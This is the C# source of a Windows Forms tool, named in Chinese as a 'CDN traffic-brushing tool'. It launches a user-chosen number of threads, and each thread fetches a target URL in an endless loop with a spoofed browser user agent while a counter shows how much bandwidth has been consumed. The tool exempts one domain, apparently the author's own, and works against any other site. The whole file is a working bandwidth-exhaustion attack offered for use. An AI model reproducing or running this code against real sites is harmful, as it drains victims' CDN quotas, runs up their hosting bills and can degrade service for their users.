﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace CDN刷流量工具
{
    public partial class MainForm : Form
    {
        protected bool isRunning = false;
        protected string currentUnit = "KB";
        protected double dataRecieved = 0;
        protected Thread[] threads;
        protected int threadCount = 5;
        public MainForm()
        {
            InitializeComponent();
            System.Windows.Forms.Control.CheckForIllegalCrossThreadCalls = false;
        }

        private void buttonSubmit_Click(object sender, EventArgs e)
        {
            if (isRunning == false)
            {
                if (this.textBoxUrl.Text.Contains("qiujiahui.com")) return;
                labelStatistics.Text = "当前已刷：" + dataRecieved + currentUnit;
                this.textBoxThreadCount.Enabled = false;
                this.textBoxUrl.Enabled = false;
                this.buttonSubmit.Text = "停止";
                isRunning = true;
                threadCount = int.Parse(textBoxThreadCount.Text);
                threads = new Thread[threadCount];
                for (int i = 0; i < threadCount; i++)
                {
                    threads[i] = new Thread(new ParameterizedThreadStart(unlimitedGetHTML));
                }
                string url = textBoxUrl.Text;
                if (!url.StartsWith("http")) url = "http://" + url;
                for (int i = 0; i < threadCount; i++)
                {
                    threads[i].Start(url);
                }
            }
            else
            {
                labelStatistics.Text = "未运行";
                this.buttonSubmit.Text = "启动";
                this.textBoxUrl.Enabled = true;
                this.textBoxThreadCount.Enabled = true;
                isRunning = false;
                for (int i = 0; i < threadCount; i++)
                {
                    threads[i].Abort();
                }
                dataRecieved = 0;
                currentUnit = "KB";
            }
        }
        public string HttpGet(string Url)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
            request.Method = "GET";
            request.ContentType = "text/html;charset=UTF-8";
            request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36";
            request.KeepAlive = false;
            request.ProtocolVersion = HttpVersion.Version10;
            try
            {
                HttpWebResponse response = (HttpWebResponse)request.GetResponse();
                Stream myResponseStream = response.GetResponseStream();
                StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.UTF8);
                string retString = myStreamReader.ReadToEnd();
                myStreamReader.Close();
                myResponseStream.Close();
                return retString;
            }
            catch (Exception)
            {
                return "";
            }
        }
        protected void unlimitedGetHTML(object url)
        {
            string URL = (string)url;
            while (isRunning)
            {
                string data = HttpGet(URL);
                if (dataRecieved >= 1024)
                {
                    currentUnit = unitUpgrade(currentUnit);
                    dataRecieved /= 1024;
                }
                dataRecieved += unitConvert(System.Text.Encoding.Default.GetBytes(data).Length, currentUnit);
                this.labelStatistics.Text = "当前已刷：" + dataRecieved + currentUnit;
            }
        }
        protected string unitUpgrade(string currentUnit)
        {
            switch (currentUnit)
            {
                case "KB":
                    return "MB";
                case "MB":
                    return "GB";
                case "GB":
                    return "TB";
                default:
                    return "TB";
            }
        }
        protected double unitConvert(double bytes, string unit)
        {
            switch (unit)
            {
                case "KB":
                    return bytes / 1024;
                case "MB":
                    return bytes / 1024 / 1024;
                case "GB":
                    return bytes / 1024 / 1024 / 1024;
                default:
                    return bytes / 1024 / 1024 / 1024 / 1024;
            }
        }
    }
}
